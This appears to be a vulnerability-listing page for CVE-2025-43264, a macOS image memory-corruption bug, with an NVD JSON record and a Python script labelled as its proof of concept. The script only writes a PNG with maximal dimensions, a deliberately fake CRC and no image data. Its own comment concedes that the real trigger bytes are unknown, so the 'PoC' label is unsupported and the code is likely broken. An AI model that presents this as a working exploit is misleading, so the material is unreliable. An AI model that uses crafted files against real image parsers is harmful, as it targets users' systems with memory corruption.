CVE-2025-43264

import struct # PoC for CVE-2025-43264 # This script generates a malformed PNG file to test memory handling. # Note: Specific trigger bytes require reverse engineering of the patch. def generate_malformed_png(filename): # PNG Signature png_signature = b'\x89PNG\r\n\x1a\n' # IHDR Chunk (伪造超大尺寸以触发潜在缓冲区溢出) width = 0xFFFFFFFF # Max width height = 0xFFFFFFFF # Max height ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0) ihdr_crc = 0x12345678 # Fake CRC for simplicity ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) with open(filename, 'wb') as f: f.write(png_signature) f.write(ihdr_chunk) # Append minimal IDAT or EOF to trigger parsing f.write(b'\x00\x00\x00\x00IEND\xAE\x42\x60\x82') if __name__ == "__main__": generate_malformed_png("cve_2025_43264_poc.png") print("Malformed PNG generated.")

{"cve": {"id": "CVE-2025-43264", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:20:17.080", "lastModified": "2026-04-03T17:56:53.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.6. Processing a maliciously crafted image may corrupt process memory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.6", "matchCriteriaId": "077E4BB7-4A8B-4D18-BCD7-2938A2B8B9C8"}]}]}], "references": [{"url": "https://support.apple.com/en-us/124149", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}